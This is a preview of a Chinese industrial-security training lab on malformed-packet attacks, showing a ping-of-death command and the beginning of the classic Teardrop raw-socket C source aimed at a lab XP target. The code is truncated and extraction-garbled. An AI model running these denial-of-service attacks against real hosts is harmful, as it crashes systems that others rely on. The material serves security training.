工控安全职业证书技能实践:畸形报文安全测试与实战.docxVIP

  • 1
  • 0
  • 约8.14千字
  • 约 15页
  • 2022-07-12 发布于江西
  • 举报

工控安全职业证书技能实践:畸形报文安全测试与实战.docx

PAGE 17 PAGE 1 GKAQZYZSJNSJ-027 畸形报文安全测试与实战 课程级别 信息安全专业工业互联网安全方向 实验概述 此实验主要内容是掌握了ping of death 的攻击原理和攻击方法。 实验目标 实现ping of death畸形报文攻击 实现Teardrop畸形报文攻击 预备知识 熟悉linux的基本语法 熟悉Linux cpdmp工具的使用 熟悉防火墙的配置命令 建议课时数 4个课时 实验环境准备 实验时硬件环境:单核CPU、2G内存、30G硬盘 需要能够支持系统连接网络的网络环境 攻击机:Win 10 系统 kali-linux系统 Ubuntu系统 靶机 xp系统 实验步骤 任务一 ping of death攻击 打开win10 命令行输入 ping -l 65500 目标ip -t -l 后面带的是包字节数 -t是重复不断攻击 得到 任务二 Teardrop攻击 1打开Ubuntu系统,创建执行文件。 mkdir Teardrop cd Teardrop nano Teardrop.c 2写入代码文本 #include stdio.h #include stdlib.h #include unistd.h #include string.h #include netdb.h #include netinet/in.h #include netinet/udp.h #include arpa/inet.h #include sys/types.h #include sys/time.h #include sys/socket.h #include errno.h #ifdef STRANGE_BSD_BYTE_ORDERING_THING /* OpenBSD 2.1, all FreeBSD and netBSD, BSDi 3.0 */ #define FIX(n) (n) #else /* OpenBSD 2.1, all Linux */ #define FIX(n) htons(n) #endif /* STRANGE_BSD_BYTE_ORDERING_THING */ #define IP_MF 0x2000 /* More IP fragment en route */ #define IPH 0x14 /* IP header size */ #define UDPH 0x8 /* UDP header size */ #define PADDING 0x1c /* datagram frame padding for first packet */ #define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */ #define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can * withstand maybe 5 or 10 sometimes... Experiment.*/ void usage(u_char *); u_long name_resolve(u_char *); void send_frags(int, u_long, u_long, u_short, u_short); int main(int argc, char **argv) { int one = 1, count = 0, i, rip_sock; // 定义源地址和目的地址 u_long src_ip = 0, dst_ip = 0; // 定义源端口和目的端口 u_short src_prt = 0, dst_prt = 0; // 定义一个32位的IPv4地址 struct in_addr addr; printf(teardrop route|daemon9\n\n); //创建原始套接字 if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) 0) { fprintf(stderr, raw socket); exit(1); } //设置套接字选项IP_HDRINCL if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,

您可能关注的文档

文档评论(0)

1亿VIP精品文档

相关文档